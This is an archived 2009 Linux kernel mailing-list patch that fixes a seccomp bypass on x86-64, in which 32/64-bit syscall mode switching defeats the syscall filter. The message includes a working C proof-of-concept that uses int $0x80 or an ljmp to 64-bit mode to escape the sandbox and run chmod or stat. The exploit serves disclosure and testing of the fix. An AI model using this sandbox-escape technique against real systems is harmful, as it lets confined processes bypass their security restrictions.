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Re: [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole

To: Linus Torvalds <torvalds@linux-foundation.org>
Subject: Re: [PATCH 2/2] x86-64: seccomp: fix 32/64 syscall hole
From: Roland McGrath <roland@redhat.com>
Date: Fri, 27 Feb 2009 23:25:54 -0800 (PST)
Cc: Andrew Morton <akpm@linux-foundation.org>, x86@kernel.org, linux-kernel@vger.kernel.org, stable@kernel.org, linux-mips@linux-mips.org, sparclinux@vger.kernel.org, linuxppc-dev@ozlabs.org
In-reply-to: Linus Torvalds's message of Friday, 27 February 2009 19:52:09 -0800 <alpine.LFD.2.00.0902271948570.3111@localhost.localdomain>
Original-recipient: rfc822;linux-mips@linux-mips.org
References: <20090228030226.C0D34FC3DA@magilla.sf.frob.com> <20090228030413.5B915FC3DA@magilla.sf.frob.com> <alpine.LFD.2.00.0902271932520.3111@localhost.localdomain> <alpine.LFD.2.00.0902271948570.3111@localhost.localdomain>
Sender: linux-mips-bounce@linux-mips.org
> Ok, I can see what's going on. And it's disgusting.

That's what I thought when I saw TIF_32BIT in seccomp.

I did the simplest fix I could see touching only x86.

I don't know any other arch well enough to be sure that TIF_32BIT isn't the
wrong test there too.  I'd like to leave that worry to the arch maintainers.

But here is the patch you asked for.

Thanks,
Roland

---
[PATCH] x86-64: seccomp: fix 32/64 syscall hole

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

        /* test case for seccomp circumvention on x86-64

           There are two failure modes: compile with -m64 or compile with -m32.

           The -m64 case is the worst one, because it does "chmod 777 ." (could
           be any chmod call).  The -m32 case demonstrates it was able to do
           stat(), which can glean information but not harm anything directly.

           A buggy kernel will let the test do something, print, and exit 1; a
           fixed kernel will make it exit with SIGKILL before it does anything.
        */

        #define _GNU_SOURCE
        #include <assert.h>
        #include <inttypes.h>
        #include <stdio.h>
        #include <linux/prctl.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <asm/unistd.h>

        int
        main (int argc, char **argv)
        {
          char buf[100];
          static const char dot[] = ".";
          long ret;
          unsigned st[24];

          if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
            perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

        #ifdef __x86_64__
          assert ((uintptr_t) dot < (1UL << 32));
          asm ("int $0x80 # %0 <- %1(%2 %3)"
               : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
          ret = snprintf (buf, sizeof buf,
                          "result %ld (check mode on .!)\n", ret);
        #elif defined __i386__
          asm (".code32\n"
               "pushl %%cs\n"
               "pushl $2f\n"
               "ljmpl $0x33, $1f\n"
               ".code64\n"
               "1: syscall # %0 <- %1(%2 %3)\n"
               "lretl\n"
               ".code32\n"
               "2:"
               : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
          if (ret == 0)
            ret = snprintf (buf, sizeof buf,
                            "stat . -> st_uid=%u\n", st[7]);
          else
            ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
        #else
        # error "not this one"
        #endif

          write (1, buf, ret);

          syscall (__NR_exit, 1);
          return 2;
        }

Signed-off-by: Roland McGrath <roland@redhat.com>
---
 arch/mips/include/asm/seccomp.h    |    1 -
 arch/powerpc/include/asm/compat.h  |    5 +++++
 arch/powerpc/include/asm/seccomp.h |    4 ----
 arch/sparc/include/asm/compat.h    |    5 +++++
 arch/sparc/include/asm/seccomp.h   |    6 ------
 arch/x86/include/asm/seccomp_32.h  |    6 ------
 arch/x86/include/asm/seccomp_64.h  |    8 --------
 kernel/seccomp.c                   |    7 ++++---
 8 files changed, 14 insertions(+), 28 deletions(-)

diff --git a/arch/mips/include/asm/seccomp.h b/arch/mips/include/asm/seccomp.h
index 36ed440..a6772e9 100644
--- a/arch/mips/include/asm/seccomp.h
+++ b/arch/mips/include/asm/seccomp.h
@@ -1,6 +1,5 @@
 #ifndef __ASM_SECCOMP_H
 
-#include <linux/thread_info.h>
 #include <linux/unistd.h>
 
 #define __NR_seccomp_read __NR_read
diff --git a/arch/powerpc/include/asm/compat.h 
b/arch/powerpc/include/asm/compat.h
index d811a8c..4774c2f 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -210,5 +210,10 @@ struct compat_shmid64_ds {
        compat_ulong_t __unused6;
 };
 
+static inline int is_compat_task(void)
+{
+       return test_thread_flag(TIF_32BIT);
+}
+
 #endif /* __KERNEL__ */
 #endif /* _ASM_POWERPC_COMPAT_H */
diff --git a/arch/powerpc/include/asm/seccomp.h 
b/arch/powerpc/include/asm/seccomp.h
index 853765e..00c1d91 100644
--- a/arch/powerpc/include/asm/seccomp.h
+++ b/arch/powerpc/include/asm/seccomp.h
@@ -1,10 +1,6 @@
 #ifndef _ASM_POWERPC_SECCOMP_H
 #define _ASM_POWERPC_SECCOMP_H
 
-#ifdef __KERNEL__
-#include <linux/thread_info.h>
-#endif
-
 #include <linux/unistd.h>
 
 #define __NR_seccomp_read __NR_read
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index f260b58..0e70625 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -240,4 +240,9 @@ struct compat_shmid64_ds {
        unsigned int    __unused2;
 };
 
+static inline int is_compat_task(void)
+{
+       return test_thread_flag(TIF_32BIT);
+}
+
 #endif /* _ASM_SPARC64_COMPAT_H */
diff --git a/arch/sparc/include/asm/seccomp.h b/arch/sparc/include/asm/seccomp.h
index 7fcd996..adca1bc 100644
--- a/arch/sparc/include/asm/seccomp.h
+++ b/arch/sparc/include/asm/seccomp.h
@@ -1,11 +1,5 @@
 #ifndef _ASM_SECCOMP_H
 
-#include <linux/thread_info.h> /* already defines TIF_32BIT */
-
-#ifndef TIF_32BIT
-#error "unexpected TIF_32BIT on sparc64"
-#endif
-
 #include <linux/unistd.h>
 
 #define __NR_seccomp_read __NR_read
diff --git a/arch/x86/include/asm/seccomp_32.h 
b/arch/x86/include/asm/seccomp_32.h
index a6ad87b..b811d6f 100644
--- a/arch/x86/include/asm/seccomp_32.h
+++ b/arch/x86/include/asm/seccomp_32.h
@@ -1,12 +1,6 @@
 #ifndef _ASM_X86_SECCOMP_32_H
 #define _ASM_X86_SECCOMP_32_H
 
-#include <linux/thread_info.h>
-
-#ifdef TIF_32BIT
-#error "unexpected TIF_32BIT on i386"
-#endif
-
 #include <linux/unistd.h>
 
 #define __NR_seccomp_read __NR_read
diff --git a/arch/x86/include/asm/seccomp_64.h 
b/arch/x86/include/asm/seccomp_64.h
index 4171bb7..84ec1bd 100644
--- a/arch/x86/include/asm/seccomp_64.h
+++ b/arch/x86/include/asm/seccomp_64.h
@@ -1,14 +1,6 @@
 #ifndef _ASM_X86_SECCOMP_64_H
 #define _ASM_X86_SECCOMP_64_H
 
-#include <linux/thread_info.h>
-
-#ifdef TIF_32BIT
-#error "unexpected TIF_32BIT on x86_64"
-#else
-#define TIF_32BIT TIF_IA32
-#endif
-
 #include <linux/unistd.h>
 #include <asm/ia32_unistd.h>
 
diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index ad64fcb..57d4b13 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -8,6 +8,7 @@
 
 #include <linux/seccomp.h>
 #include <linux/sched.h>
+#include <linux/compat.h>
 
 /* #define SECCOMP_DEBUG 1 */
 #define NR_SECCOMP_MODES 1
@@ -22,7 +23,7 @@ static int mode1_syscalls[] = {
        0, /* null terminated */
 };
 
-#ifdef TIF_32BIT
+#ifdef CONFIG_COMPAT
 static int mode1_syscalls_32[] = {
        __NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, 
__NR_seccomp_sigreturn_32,
        0, /* null terminated */
@@ -37,8 +38,8 @@ void __secure_computing(int this_syscall)
        switch (mode) {
        case 1:
                syscall = mode1_syscalls;
-#ifdef TIF_32BIT
-               if (test_thread_flag(TIF_32BIT))
+#ifdef CONFIG_COMPAT
+               if (is_compat_task())
                        syscall = mode1_syscalls_32;
 #endif
                do {

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